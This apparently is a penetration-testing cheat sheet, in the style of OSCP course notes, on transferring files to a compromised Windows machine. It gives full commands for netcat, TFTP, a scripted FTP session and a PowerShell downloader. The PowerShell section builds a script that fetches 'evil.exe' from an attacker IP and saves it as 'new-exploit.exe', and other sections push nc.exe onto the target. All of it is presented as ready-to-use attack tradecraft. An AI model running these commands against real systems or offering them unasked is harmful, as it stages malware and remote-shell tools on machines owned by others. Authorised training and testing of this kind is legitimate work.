FILE TRANSFERS

Netcat

```
C:\Users\offsec>nc -nlvp 4444 > incoming.exe
root@kali:~# nc -nv 10.0.0.22 4444 < /usr/share/windows-binaries/wget.exe
```

TFTP

```
root@kali:~# mkdir /tftp
root@kali:~# atftpd --daemon --port 69 /tftp
root@kali:~# cp /usr/share/windows-binaries/nc.exe /tftp/
C:\Users\Offsec>tftp -i 10.11.0.5 get nc.exe
```

FTP

```
root@kali:~# apt-get update && apt-get install pure-ftpd

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

root@kali:~# chmod 755 setup-ftp
root@kali:~# ./setup-ftp Password:

C:\Users\offsec>echo open 10.11.0.5 21> ftp.txt
C:\Users\offsec>echo USER offsec>> ftp.txt
C:\Users\offsec>echo ftp>> ftp.txt
C:\Users\offsec>echo bin >> ftp.txt
C:\Users\offsec>echo GET nc.exe >> ftp.txt
C:\Users\offsec>echo bye >> ftp.txt
C:\Users\offsec>ftp -v -n -s:ftp.txt
```

POWERSHELL

```
C:\Users\Offsec> echo $storageDir = $pwd > wget.ps1
C:\Users\Offsec> echo $webclient = New-Object System.Net.WebClient >>wget.ps1
C:\Users\Offsec> echo $url = "http://10.11.0.97/evil.exe" >>wget.ps1
C:\Users\Offsec> echo $file = "new-exploit.exe" >>wget.ps1
C:\Users\Offsec> echo $webclient.DownloadFile($url,$file) >>wget.ps1
```